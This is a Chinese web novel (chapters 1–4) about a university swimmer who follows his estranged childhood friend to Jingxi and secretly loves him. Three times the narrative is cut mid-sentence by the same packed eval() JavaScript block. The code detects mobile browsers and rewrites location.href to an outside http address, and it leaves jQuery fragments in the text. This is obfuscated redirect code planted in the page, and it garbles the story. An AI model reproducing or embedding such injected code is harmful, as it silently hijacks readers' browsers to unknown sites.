《竹马偷偷暗恋我》 1. 新开学季 “混小子,你不是和笑笑约好了明天一起去报到吗?怎么自己先跑了!” 手机里的尖锐声音差点震穿左屹的耳膜。 左屹深提一口气,压低声音解释:“妈,我有点事要办,笑姐问起来帮我解释一下。” 不等老宋回复,他赶紧将电话掐断。 左屹笔挺地杵在京西大学校门口,盯着被太阳炙烤的烫金牌匾,身形好似一柄刚开刃的标枪,锐利夺目。 他将近一米九的高挑身材,拖着一只黑色行李箱,金属箱体反射出他桃花眼下方凛冽的冷光,浑身透着生人勿近的气场。 早在一星期前,左屹特意预约今天参观京西大学的名额,从江城奔赴京西,他没有第一时间去体院报到,而是一下飞机直奔这里。 他拖着行李箱闷头往校园深处走,滑轮摩擦地面声音也带着一股愠怒。 其实,左屹心里也清楚,自己未必能在今天见到那个让他心心念念了一年多的“讨厌鬼”。 他明明知道新生报到通常比老生要早上几天,可心底那股执拗的劲儿,还是驱使他来碰碰运气,毕竟,这是他这个昔日学渣拼了命考来京西市的唯一缘由。 左屹要当面问清楚,当初他为什么一声不吭就搬离了月亮湾小院,还注销了所有联系方式玩人间蒸发。 九月初,烈日高悬,他沿着学校的人工湖走了很久,久感到自己要中暑了,眼前阵阵发昏。正当他打算问问路人男生宿舍的方向,一阵喧闹声从不远处传来。 湖边的小广场上,簇拥着一群人。人群中心,一个短发女生声音带着一丝不易察觉的颤抖:“我喜欢你,能做我的男朋友吗?”女生的声音不大,却在这片小小的天地里格外清晰。 周围的同学都安静下来,目光在两人之间流转,有人脸上挂着善意的微笑,有人则露出期待八卦发展神情。 “抱歉同学,我已经有喜欢的人了,谢谢你的喜欢,祝开学顺利。”那男生的声音温和而清朗,可落在左屹耳中堪比一道惊雷。 这声音好熟悉,是…… 左屹猛然停下步子,行李箱的滑轮声也随着动作戛然而止,他的心脏猛地开始狂跳。 顺着声音朝右前方看过去,只见人群中的那个男生身形挺拔,穿着简单的白衬衫和牛仔裤,身姿依旧是记忆中那般出众。 他微微低着头,脸上带着礼貌又疏离的微笑,正是左屹过去一年只有在梦里才能看见的祁言。 许久没听过这道嗓音,如今再听到虽添了几分成熟味道,却瞬间泛起左屹心里头的酸楚。 只是一瞥眼,左屹便发现他瘦了很多,下巴更尖了,身形也单薄了些,但在人群中,他依旧是最耀眼存在。 那句“我已经有喜欢的人了”来回在左屹耳边回荡。 左屹实在顾不住什么竹马重逢的欢喜,只觉得脚下被什么东西拽住了,无法往前再踏一步。 他想离开这个地方。 就在转身之际,左屹被刚打完热水的女同学迎面撞上。 “咚”地一声,热水瓶摔破,滚烫的开水溅到他的小腿上,瞬间红了一片。 “同,同学,你的腿,腿被烫到了,我带你去医务室吧。”那名女同学明显被吓到了,声音微微结巴。 左屹没忍住吃痛皱了眉,紧咬着后槽牙说:“不用,我没事。” “可是你这……” 女同学还想劝劝,被左屹一字一句打断:“我说,没事。” 他这边动静有些大了,很难不引起大家的注意,好在现在来往的学生越来越多,还有一棵大树刚好为他遮挡了祁言那边大片视线。 左屹不顾伤势,拖着箱子逃也似地加快步伐,离开了这个开局不利的地方,直到跑出京西大学的门口,他才敢回望一眼。 腿上传来的灼痛感无疑不在提醒他,就算拼命来了京西又能如何,他和祁言之间的差距何止是那空白的一年。 到京西的第一天,明明找到了人,又不敢上前相认,显得他这一年的努力和刚刚破碎满地的热水瓶一样狼狈。 他的真心恍若一棵懵懂发芽的野草,却在野蛮生长的时候被雨后潮湿厚重的石块牢牢压住,可能再也无法破土而出。 左屹拖着浑浑噩噩的躯壳来到京西体院,办理了新生报到,拿了分配好的宿舍钥匙,来到空无一人的宿舍。铺完床铺,已经疲惫得不亚于刚刚游完一轮长距离自由泳。 面对这片陌生环境,左屹开始想念月亮湾小院了,特别是小时候铁三角在院里横行的日子,那是独属于他们的时光和天地。 丢在床上的手机响起,打破寂静。 左屹抄起手机一看,是丁文笑,月亮湾铁三角中唯一的女孩子。 他接通电话,顺势瘫软在床铺上,语气低迷:“干嘛?” “左屹,你搞什么?”丁文笑咆哮的声音从手机里传来,震得左屹耳膜生疼,“不是说好了明天一起去京西,宋姨说你一大早就跑了,你这波操作6啊,是怕帮我拿行李?” 左屹扯了扯嘴角,故作轻松:“怎么会,我先来探探路,明天哥带你下馆子,给你接风。” 丁文笑气得直跺脚,提高音量吼道:“哥你个蛋啊,从小到大不逼着你叫姐姐是我让着你,少得了便宜还卖乖。” 听到熟悉的丁文笑式威胁,左屹头顶的乌云一时消散不少,心情舒畅许多。 左屹翻了个白眼,调侃道:“好好好,小的知错了,明天几点飞机到,小屹子恭候您的大驾!” “明天上午十点半,你别迟到。” “遵命,我的姐。” “土死了,挂了。” 电话挂断,左屹看了眼时间,该吃晚饭了。 但他起身走去卫生间洗漱,打算直接休息。 隔日十点,左屹提前出现在京西国际机场迎接丁文笑大驾。 日照当空,飞机准时落地。 丁文笑带着夸张的黑色墨镜,穿着浅粉色背带裙,不疾不徐地走出来。 左屹捕捉到这抹粉色身影,迎了上去。 看见丁文笑真的来了,他心里顿时踏实了很多,忍不住打趣道:“笑笑姐大驾光临,今天的京西真是蓬荜生辉啊!” 丁文笑将手中的两个大行李箱潇洒地往前一推,滑轮带着箱子准确无误地停在左屹身前。 她动作利落地摘下墨镜,朝左屹歪了歪脑袋说:“开路。” “是是,敢问笑笑姐是要先去学校报到还是吃饭去?” 左屹很少这样明面上捧着丁文笑,要知道这两人从小闹到大,一个成天调皮捣蛋以惹怒祁言为乐,一个成天围着祁言转以他为榜样,时常在院里闹出笑话。 不过,他们对彼此来说早已是家人般的存在。 丁文笑为了铁三角义无反顾放弃江城大学的保送,以文化和专业双第一考来京西电影学院,这份情义左屹很难不感动。 如今他们一同踏上闯荡京西的征途,至少后背不是空无一人。 丁文笑兴奋得一晚上没睡好,懒得和他贫嘴,决定先去学校把这俩碍事的大箱子放下。 待学校的新生报到手续都弄完,已经临近晚饭时间了,两个人早已饿得前胸贴后背。 左屹选了一家当地特色的餐厅。 九月天吃铜锅涮肉,室内就算是开了冷气依旧吃得汗流浃背。 丁文笑夹了一块牛肉在铜锅里涮了涮,沾了点辣椒面大口往嘴里送,食物还未下肚便含糊着问:“你昨天是不是去京西大了?” “没有,我去那干什么?”左屹眼皮也不抬,矢口否认。 丁文笑放下手里的筷子,喝了口冰汽水将牛肉顺下去笑说:“我还以为你会忍不住跑去找言哥炫耀一下,毕竟学渣上岸可是脱了层皮的呀。” 左屹又回想起昨日祁言说的话不由心头一紧。 昨日一整天都状态不好,直至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165003|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在腿上的烫伤也没好好处理,出了好几块水泡,今天特意穿了条长裤遮住。 他何时这么狼狈过? “没必要,来京西是我们三个小时候的约定,我只是不想负约罢了,也没什么可炫耀的。” 左屹这话说得真假参半,他不愿负约是真,但何尝不想去到祁言面前炫耀一番,他渴望得到祁言的欣赏,渴望祁言为他感到骄傲。 丁文笑鼻头一酸,她也没有负约,可大家当初约定时的初心还能找回来吗? “是啊,我们成功了,来我俩先碰一个,等过几天忙完我去京西大找言哥,月亮湾铁三角终于重聚京西城了!” 文笑举起手中装满可乐的杯子,“当”一下碰上左屹的杯子。 茶足饭饱,左屹送丁文笑回到学校,路上两人约了明天一起去买点日用品。 回程路上顺带去药店买了支烫伤膏,刚到宿舍门口,就听见里屋一阵热闹。 应该是舍友都到了,左屹正想着该怎么和大家打招呼,宿舍门率先被里面的人打开。 “你好。” 开门的人看见左屹愣了会,率先开口打了声招呼。 左屹也点了点头,“你好,我是左屹。” 说完往屋内走,粗略打量一眼,屋里有五个人,算上他这才全宿舍到齐。 左屹路过大家坐到自己的床铺上,见其余人安静下来,毫不避讳地盯着他看。 他停下动作,跟大家解释:“我昨天来的,今天大早有事出去了,刚回。” 对铺站着的黑皮男生这才走过来,主动说:“哈喽帅哥,我叫李子豪,田径生。” 左屹礼貌回答:“你好,我是游泳生。” 李子豪自来熟,坐到左屹旁边,跟他聊起来:“既然你晚到,错过了我们的破冰游戏,那我单独为你介绍一下咱们宿舍成员。” “谢谢。”左屹也觉得他的提议不错。 “刚跟你开门的那位小帅哥叫郭敬敬,跟我一样搞田径的。拿脸盆的大高个是谢彪,新闻传播系,”他又指了指谢彪上铺坐着打游戏的清秀男生,“他叫纪羽新,也是搞新闻传播的,他俩一个系。” 左屹微微颔首,算是打过招呼了。 李子豪性格爽朗是个破冰高手,他不遗余力地向左屹介绍着每一位舍友:“戴眼镜那个叫冯桑,经济学,”他凑近左屹的耳朵低声说:“这孩子挺慢热的,一天下来都没怎么搭理过我们,叫他一起吃晚饭也没去。” “嗯。”左屹安静附和。 李子豪很受用,忽然他站起身走到宿舍中间位置对所有人说起肺腑之言:“我说各位,从今天开始我们要一起在这拼搏四年,这些日子我们可能是彼此的家人、兄弟、朋友或者恋人也行。" “恋人?”左屹猛地直起身,以为自己听错了。 “恋人咋了,你性取向歧视?”李子豪反问。 左屹连连摆手,“没有,我不歧视。” 自己喜欢的就是男人,怎么会歧视? 难道他也喜欢男的? 左屹悄悄打量,果然体院的学生都是深藏功与名,卧龙凤雏多不胜数,他自己要不提真看不出来。 李子豪接着话题继续问大家:“我的意思是明天我请哥几个一起出去耍耍?难得咱宿舍来了个超级大帅哥,得带出去见见世面啊!” 他的提议得到大家一致同意,才想起来又问大家一句:“你们歧视同性恋?” 大家都很有默契地摇了摇头,特别是那个大高个谢彪,不知道为何笑出了声。 左屹性格绝对算不上安静,从小是院里出了名的调皮鬼,但好在有家教懂礼貌,惹得院里的爷爷奶奶叔叔阿姨各个喜爱,要说祁言是优秀标杆,他左屹就是院里的团宠。 每当干了少不了一顿打的错事,总有好心邻居长辈帮忙掩护。 可这会突然被破冰王搞得有些社恐,不敢想以后宿舍生活该多刺激。 2. 少年心事 夜晚熄灯后,宿舍响起深深浅浅的呼吸声,其中还会掺杂几句鼾声。 左屹成年后没有经历过集体生活,无法快速适应,腿上的伤口擦了药之后又隐隐刺痛,理所当然的失眠了,他躺在床铺上思绪不自觉就飘到那年祁言问出那句“你愿意和我一起考去京西吗?”的时候。 校园的夜,宛如一幅静谧的水墨画,月光如水,透过斑驳的树叶在地上撒下一片片银白的碎影,像是时光留下的神秘符号。左屹望向窗外那片被月色笼罩的世界,回忆如潮水般涌入脑海…… 那是左屹初三暑假,他刚刚参加完全国青少年游泳U系列赛,获得小组冠军且比赛成绩达标。 过不久一级运动员证书就能发放下来,左屹以体育特长生的身份顺利考进和祁言所在的重点高中。 步入暑期尾巴,左屹还没进入高中状态,不仅文化课一塌糊涂,拿到一级运动员证书后连体能训练也松懈下来,活像一只撒了欢的小狗,成天只想着玩,左屹父母恨铁不成钢,找来祁言开导他。 那时的他不知天高地厚,自以为凭借游泳特长和文化课基本分,在江城随便考上一所大学读读就行。 他想走体育生这条路,以后顶多也是做个体育老师,或是去游泳俱乐部做救生员。 再不济就啃老到子承父业把父亲的公司接下来管管,反正少不了钱花,没必要让自己活得太辛苦。 那会的左屹才不懂什么是梦想,什么为目标,他只想这辈子都留在月亮湾小院里,没想过走出去看看世界。 直到那夜,两人坐在院里的秋千上,祁言问他:“你愿意和我一起考去京西吗?” 庭院里,晚风轻吻过院中的花朵,吹到左屹的心尖。 那是祁言第一次问他,左屹心脏说不清被什么东西轻轻勾了一下,泛起微薄的涟漪。 此前,他一直看不惯祁言成天一副优者姿态,明明两人才相差两岁,院里的家长却什么都要听他的建议,成绩好的人就是了不起呗。 小院的家长把祁言奉为学神,他说出的话,分享的学习经验就是金玉良言,自己为此吃过不少苦头。 身为学渣是他的错吗?知识就是不进脑能有什么办法? 从小被父母拿两人比较,不知挨了多少顿打,他掐掐手指一算,距离祁言考大学满打满算还有两年时间。 他当下巴不得祁言赶紧考学,考到京西去,离他越远越好。 这样,以后他左屹就是院里,哦不,是江城里一条自由的江豚,长江之阔任他肆意穿梭。 “你要去京西啊?那是个好地方啊!”左屹自然是拒绝,甚至为了让祁言离开添柴加火,“你去一定能闯出一番天地,我就不行了,那里我这种学渣去是没活路的。” 祁言那晚失了神,抬头盯着月亮看了很久很久,久到它似乎被人盯到羞涩,悄悄藏进云层里。最后,祁言什么话也没说,起身回了家。 想到这里,左屹在床铺上翻了个身。 如今呢,他还是放弃了做长江那条自由的豚。 如果当初没有发生那件意外,现在他和祁言会是怎样的关系? 祁言还会一声不吭就消失吗? 或许,这些问题永远不会再有正确答案。 自那以后,左屹一改惰性,设立了目标,拥有了无尽的动力,这些动力里包含着五味杂陈的情绪。 他生气,气祁言的不告而别。 他难过,难过祁言如此自信优秀的一个人竟遭遇那种操蛋的事。 他更自责,自责那天他提前参加暑期的赛前集训不在家,没能够替他撑腰。 少年的心思总是复杂的,嘴上说着讨厌的,放心里却如无价宝般珍贵,他尤其珍视的那朵高岭之花一夜间被人推落谷底。 做错事的从不是祁言,后果却要他去承担。 而自己,却无能为力去保护,去对抗,去改变。 他怎会不知道祁言离开后去哪了?只是他没有底气去窥探祁言的新生活,他只能凭借努力顺理成章地进入祁言的世界,和他并肩而立。 而今,左屹终于和祁言在同一座城市呼吸着同一片空气。 确认他在京西大本该是件高兴的事,左屹却无意在相逢那天窥见到了祁言的秘密。 他有喜欢的人了。 不仅如此,现实也给自己深藏心底的秘密撕开了一道裂缝。 左屹喜欢祁言,很喜欢,喜欢得要命。 面对这些,他突然害怕了,怕心底那道名为暗恋的裂缝透进了风,吹散了摇摇欲坠的他们。 所以,他临阵逃跑不敢相认,不敢大声冲到祁言的面前喊出那句:“老子来京西找你了,惊不惊喜!意不意外?” 整夜无眠。 左屹看着渐渐明亮的世界,心中的阴霾却愈发浓重,天刚泛起鱼肚白便起床去晨跑,跑完还去食堂打包了全宿舍的早餐回来,宿舍的人闻到食物的香味一个个都从床上跳了下来,感激地恨不得跪下来喊左屹爸爸。 体育生就是这点好,年轻气盛,不贪睡但贪吃,特别是早餐一定要吃得丰盛些,不然一天训练都不得劲儿。 左屹跟大家围着桌子一起吃,李子豪嘴里塞满了大包子说:“对了,我找了个地儿,哥几个今晚就放心跟我混,包爽的。” 郭敬敬在一旁接茬:“什么地儿?不是去吃饭吗?” “饭当然得吃,”李子豪挑了挑眉,笑着撞了他一下,“饭后活动也必须搞起来啊。” 大家确实被李子豪这番话钓住,有些迫不及待。 “我晚上有点事,就,就不去了,”冯桑推了推鼻梁上的黑框眼镜,支支吾吾说道:“你们玩得开心。” 说完起身去床铺边拿上包就要走,出门前还不忘嘱咐一句:“左屹,早餐钱我回来扫给你。” “不用。”左屹话音刚落,砰地一声人已经走了。 场面一度有些尴尬,不管怎么说昨晚冯桑也是同意了的,谁知一觉醒来又驳了李子豪的邀请。 纪羽新见大家都不说话便说:“可能冯桑是突然有急事,下次再叫他一起,要不先商量下今晚我们去哪吃啊?” 郭敬敬立马接过话题,“学校北门有家苍蝇馆子挺不错的,咱就去那吃吧。” “行,吃饭的地儿你们随便挑,所有花销哥今天包圆儿。”李子豪跟没事人似的,又往嘴巴里塞了个肉包子。 “哟,豪哥哥是真壕啊!” 谢彪一句豪哥哥逗得大家纷纷调笑,气氛这才恢复如常。 左屹想到一会他得先陪笑姐去买点日用品,喝完最后一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165004|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆浆也准备离开。 “我等会也有点事,一会定位发我,晚上我会准时到。” 他掏出手机点开自己的微信二维码,递到大家面前。 等他到京西电影学院时,丁文笑已经穿戴整齐还化了个隆重的全妆等在校门口,旁边还有另一位长发及腰,气质温婉的女生。 “呵,您穿这身去逛超市啊?”左屹单手插着裤子口袋迈步朝她们走去,嘴里还不忘调侃两句,“不知道的以为您是要去米兰走秀呢,弄潮儿。” 丁文笑身高将近一米七三,穿搭很懂得突出自己的身材优势,一件露脐针织短袖搭配热裤、高筒马丁靴,简直时尚又火辣。 “多正常一小伙偏偏长了张嘴,良心建议你以后少说话,因为会拉低颜值。”丁文笑也毫不客气回击。 “噗嗤——” 丁文笑身边的女生听他俩你一句我一句,实在没忍住笑出声来。 左屹耸了耸肩,“这位是?” “这是我舍友王佳怡,她一个人在宿舍,我叫她一起出来逛逛。”丁文笑介绍道。 左屹有礼貌地打了招呼。 逛超市时,左屹和丁文笑两人时不时就要斗上几句嘴,看得王佳怡不亦乐乎。 她悄悄附在丁文笑耳边说:“你弟真帅,性格也活泼。” 但说话音量没控制好,足以被一旁的弟弟本人听见。 左屹勾了勾唇。 丁文笑比自己才大了不过三天,成天在外头说他是个不懂事的弟弟。 于是报复心作祟,主动接过丁文笑手中的购物推车说:“年纪大了,逛超市一定很辛苦吧,我来帮你推。” “你再嘴欠一个试试。”丁文笑一个生气,握拳作势要打他。 左屹赶紧推着购物车跑了。 买完东西,丁文笑接到学校电话说是下午安排了她接受媒体的新生采访,要赶紧回去准备。 三人分别前,丁文笑特意提醒道:“二十号是言哥的生日,等军训完了给他过个生日吧,我去约。” 提到祁言,左屹顿时有些心不在焉,他还没做好和祁言见面的准备,本能便想拒绝。 可话说出口却变了味:“再看吧,万一他有想要单独过生日的人,被我们突然横插一脚也不好。” “到时候要真有这么个人,我让言哥叫上一起见见不完了?他一定也很乐意介绍给我们认识的,就这么说定了。”说完丁文笑拉着室友就拦车走了。 左屹这才意识到他给自己挖了个大坑,瞬时懊恼不已。 距离晚上聚餐还有一段时间,左屹漫无目地溜达,他现在脑子乱得很。 阳光透过街道两旁的树枝罅隙,洒下斑斑块块的光影,像是破碎的梦境,看得左屹心乱如麻,他觉得时间就跟坐上火箭一般,飞速而过。 从幼儿园起,铁三角的每个生日彼此从未缺席,直到去年祁言离开。 但左屹还是用心为他准备了一份生日礼物,即使不知道这份礼物何时才能送到祁言手中,而他也将这份礼物带来了京西,尘封在行李箱里。 左屹现在明白了,这份礼物以后恐怕再也没有机会送出了。 他徒步走了将近五公里,到达目的地时才反应过来,原来手机导航的不是京西体院,而是京西大学。 3. 意外重逢 左屹自嘲一番,自己怕是着魔了。短短数日,再次伫立在京西大学门口,心境却大不一样。 这扇百年校门,此刻在他的眼中犹如一座险峻的高山,决绝地阻隔了他汹涌澎湃的青春悸动。 失神间,手机震动不停。解锁一看,是微信里多了一个名叫“哥哥再爱我一次”的6人群,李子豪正带着一群人在群里催他现身。 [有钱有颜的大帅比:@Zorro 你人呢?] [Zorro:你们在哪,定位发给我。] 左屹回了消息过去。 [有钱有颜的大帅比:我们在打台球。] [有钱有颜的大帅比:定位] [有钱有颜的大帅比:快来看我怎么虐他们。] [谢书记:是被虐吧,豪哥哥。] [郭郭:偷笑.jpg] [纪检委:我们等你。] 左屹点开定位发现台球馆离自己不过一点几公里,想想自己都走了五公里也不差这一点了,打算继续十一路过去。 严格来讲,他和这群舍友认识还不到二十四小时,可相处起来好像并没有太过生疏。 在心情低落的时候,能有这样一群人在身边吵吵闹闹,左屹不禁感慨集体生活也没自己想象中那么差。 如果没有他们,自己不知道要在这种莫名的情绪当中沉溺多久,他讨厌现在优柔寡断的自己。 某些时刻,左屹也暗暗庆幸着他和祁言的缘分或许没那么深。 至少,今天没有遇见。 刚到台球馆,他们刚好打完一局,见左屹对台球兴致缺缺,大家便商量着早点去吃饭。一行体育男大生走在路上,本就引人注目,更别说现在五个平均一米八几的大个子,屈坐在苍蝇馆子的矮凳子上,模样实在滑稽得很。 大家表情复杂地盯着提议来这家店的罪魁祸首,郭敬敬。 “我是在某书上刷到的推荐,也不知道是这种小桌子小凳,怪我怪我,我自罚一杯可乐。”郭敬敬满脸歉意,给自己倒了满杯可乐,一饮而尽。 不过,抛开硬件设施不谈,这家店的菜是真不错,他们吃得意犹未尽又加了几个菜才满足。 吃饱喝足,李子豪大手一挥,拦了两辆车将大家带到市中心SKYBAR门前,这是京西最大的蹦迪场。 “我靠,豪哥哥,这里消费可不低啊。”谢彪惊呼。 左屹也有些惊讶,江城不是没有此类规模的酒吧,但整个高中他除了训练、比赛就是恶补文化课,连睡觉的时间都是压缩压缩再压缩,现在站在这里,无疑是告别过去的生活,迈进一个全新的世界。 “都说了今天全场消费哥包了,一会进去玩爽就是了。”李子豪推着众人就往酒吧走去。 李子豪显然是有备而来,已经提前订好了卡座,酒吧经理带着大家走进内场,舞台上的DJ正在卖力喊着倒计时,强节奏的音乐和爆闪的舞美灯光瞬间将他们刘姥姥进大观园似的吃惊淹没。 左屹的心脏随着脚下的地板一同震动着,这感觉说不上难受却不自在。 等穿过拥挤的人群来到他们的卡座上,已经有一位女生端着酒杯跟着音乐晃动身体。 大家都愣住了,只见那名女生扎着高高的马尾,脸上的妆容不浓但很精致,眼角下还有泛着光的亮片片,她看到李子豪来了之后立马起身相迎。 李子豪很是兴奋地坐到女孩旁边,然后招呼他们一一入座,左屹好奇地看着两人的举止,猜测他们的关系。 李子豪是gay的话,看他们两人的相熟程度应该就是闺蜜了。 有时他挺佩服自己的智慧,毕竟他短短几天就发现了李子豪是gay这事。 除了左屹,他们都已经不再拘谨,完全融入到音浪中。 就在他愣神时,李子豪递给他一杯酒,看那意思是要跟他碰杯,左屹接过和李子豪的杯子碰上。 对方将杯中的洋酒一饮而空。 左屹这几天本就心烦意乱,竟也不甘示弱,仰头将满杯酒灌进喉咙里,只是洋酒的回甘苦得他直犯恶心。 李子豪没想到这小子这么豪放,一杯纯酒说干就干。 左屹的莽撞引起了那名女生的注意,女生叫来服务员要了杯温水,然后使劲往李子豪的后背拍了一巴掌,李子豪吃痛跳了起来。 女生靠近左屹的耳边却保持着很礼貌的距离说道,“你刚刚那杯是纯的,得喝点水压一压,不然醉得快。” 左屹已经感觉到一股火从胃里蔓延烧到喉道,脑袋开始异常沉重起来,最后的记忆是他接过那杯水喝了一大口。 第二天再醒来是在一间酒店房间里,他的腰上还搭着一条腿,左屹头昏脑涨,被身上这条腿吓坏了,赶紧推开。 李子豪猛地惊醒:“我艹,老子刚梦到被人推下楼了,魂差点吓没了。” 等左屹坐起来看清楚,发现宿舍参加聚会的人都在这间房里睡得四仰八叉。 左屹一只手撑着身体,一只手按着太阳穴,试图让自己冷静回忆昨晚喝了那杯酒之后的事。 “你昨天断片了,重得跟他妈一头牛似的,几个人都抬不动你,这才开了间房将就一晚上。”李子豪起床,边往卫生间走边解答了他的疑惑。 不得不说,酒真是个神奇的东西,一杯下肚后,眼睛一闭一睁就过了一夜,这一夜不会胡思乱想,也不会失眠。 左屹缓了缓神,将大家叫醒之后赶回了学校,好在还没正式步入正式训练,昨天他们一夜未归也没太大的问题,只是回到宿舍,依旧没见冯桑人影。 这一天大家没什么特别安排,吃过饭都在宿舍待着养精蓄锐,也没有人出去熟悉一下校园环境,想到明天就要开始军训就没人提得起劲来。 京西的太阳很是毒辣,站在太阳暴晒几个小时非黑即暑,左屹提前备好了藿香正气液,以防万一。 晚上等冯桑回来,他给每个人都分了一些,并嘱咐他们明天早上吃完早餐就喝掉,能预防中暑。 隔日正午,新生们站军姿站到怀疑人生,每个人都被太阳晒得晕晕乎乎,非常煎熬。 忽然,隔壁班的女生传来惊呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165005|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“报告教官,有人晕倒了。” 隔壁教官黑着脸上前查看,见晕倒的女生唇色发白,赶紧叫两名男同学将她送去校医务室。 左屹暗暗庆幸,好在早上喝了藿香正气液,虽然晒得晕晕乎乎,但体力还足够充沛,他正想着咬牙挺一挺就要午休了。 谁知,一旁的李子豪轻撞了下他的右胳膊,左屹脑子还没反应过来,双臂已经快一步接住了李子豪往地上栽下来的身体。 身后看见这情形的同学连忙帮忙大喊,“教官,这边也有人晕倒了。” 教官命令左屹和谢彪将李子豪带去校医务室休整,校医仔细检查过后给他喂了些葡萄糖。 李子豪拉着校医的白大褂一角,泪眼汪汪地说:“校医姐姐,我从小就身体虚弱,特别容易贫血,得吃一种特殊的药才能控制,想必是因为我的药昨天刚好吃完了,今天才没撑住晕倒了,我的家人就在学校附近,可以让她送点药来吗?” “当然可以!怎么不早点跟学校报备这个情况?一会你家人来了我给你开一个请假条,这个军训你就安心留在宿舍休息吧,身体不好可不能硬撑啊,成年人要对自己的身体负责任。” 校医听他这么一说,心有余悸,赶紧让李子豪联系家人过来送药。 左屹同样很担心李子豪的情况,一米八五的男生在他面前倒下,现在想想还真有些后怕。 李子豪动作缓慢地从迷彩裤口袋掏出手机递给左屹,“麻烦帮我跟关关打个电话,她从京西大学过来很快。”说完,还咳了几声,看样子真的很虚弱。 关关? 左屹疑惑地看着他手中递来的手机。 李子豪看出他的迟疑,扬了扬脑袋说:“按1,紧急联系人。” 左屹接过手机,长按“1”,果然是关关的号码,拨通后,对方几乎是秒接。 “您好,请问是关关吗?”左屹礼貌询问。 对方明显愣住,而后谨慎地问:“你好,请问你是?” “我是李子豪的同学,今天我们军训的时候李子豪晕倒了,需要麻烦您送些他平时吃的药过来。”左屹回答。 电话那头,关关的语气有些着急,“你们现在在哪?医院吗?” “我们在体院的校医室,他在休息,您直接过来就行,别着急,注意安全。” 挂断电话,左屹将手机还给李子豪,谢彪已经先行归队了,他正犹豫是归队还是陪李子豪等一下,校医姐姐还是不放心李子豪的状态,便主动提出让左屹在一旁候着,万一有个什么紧急情况,还能有人搭把手。 约二十分钟左右,左屹听到校医室门口有人提到李子豪的名字,他猜是关关来了,便起身去接。 待看清门口的两个人,便轮到左屹一阵头晕目眩,差点栽倒在地。 因为,他怎么也没想到,来人便是前夜那位一起在SKYBAR喝酒的女生,李子豪的闺蜜。 而她身后那位一半身体站在阳光下,一半被门内阴影遮盖的高个子男生,竟是他明明想念到骨子里却又害怕面对的,祁言。 4. 我心向君 祁言正巧迎上他错愕的眼神。 电光火石的视线交错里,时间在这刻仿佛静止,谁也没想到,两人竟以这种方式重逢了。 左屹捕捉到祁言的眼眸里流过一抹惊诧,但很快又消失不见。 在这短暂的时间,左屹的思绪飘回了一年前。那时候,他们三人在月亮湾小院门口的老槐树下,一同约定要一起考来京西,可如今,站在眼前的祁言熟悉又陌生。 左屹心里泛起一阵酸涩,一年以来的压抑、怒火、委屈、不舍,此刻通通归于沉默,他收回炙热的目光侧身让出位置,让祁言从他身侧路过,这瞬间左屹闻到一股淡可忽略不计的烟草味道。 祁言开始抽烟了?记忆中的祁言从不沾染烟酒。 关关见到身穿迷彩服的左屹也是一愣:“原来刚刚是你打的电话,子豪呢?” “他在休息,我带你们过去。” 左屹将两人带至李子豪休息的床边。 关关见他咳嗽不停,脸憋了个通红,眼神中闪过一丝怀疑。她和李子豪是发小,很了解他的性格,她凑上前,只看了一眼李子豪不自然的表情和动作,脸色就冷了下来。 “还装?” 她一眼便戳穿了李子豪的小把戏,语气中带着几分嗔怒和无奈。 “……”李子豪没有做声,不敢直视关关的眼睛他知道自己的这点小伎俩在她面前根本藏不住。 “你是不是觉得大家都跟你一样很闲啊?”关关再次质问,“要我送药?送什么药?治少爷病的药?” 左屹打量了一眼李子豪,脑回路很快跟上,原来这小子是装病躲军训呢! “咳咳,我是真的病了,咳,咳,可是你来看我,我就好多了,咳咳。” 李子豪本来还想继续躺着哼唧两声,看到关关身后的帅哥,立即弹坐起来,怎么也装不出来了。 “哟,这哥们挺帅的,他谁啊?”语气满是轻蔑。 左屹斜目瞟了李子豪一眼。 “他叫祁言,我俩一个系的同学。”关关介绍道。 随后,又转向左屹说:“这位是子豪的舍友,他叫……叫什么来着?”眼神示意李子豪来说。 祁言笑了笑,主动接过关关的话:“左屹。” 一瞬间大家都愣了,就连左屹也忘了回应,他没想到祁言会主动和他相认。 在左屹的心里,祁言将所有的联系方式全部注销后,他便笃定祁言是铁了心要和月亮湾小院的人或事断得一干二净。 事出突然,左屹本想着暂时先装不认识,在他潜意识里认为要不是自己憋着一口气追到京西,可能他们两个人这辈子真的是不会再有交集的陌生人。 左屹没有回应。 祁言也不意外,他再次说道:“小屹,好久不见,没想到我们会在这里遇见。”祁言说出的一字一句,灌入左屹的耳朵里,砸得他脑袋发懵。 其实早在来京西之前,左屹便反复思量着相见后自己该以什么样的态度面对祁言,谁料,所有的事先准备竟能献身给一次又一次的意外。 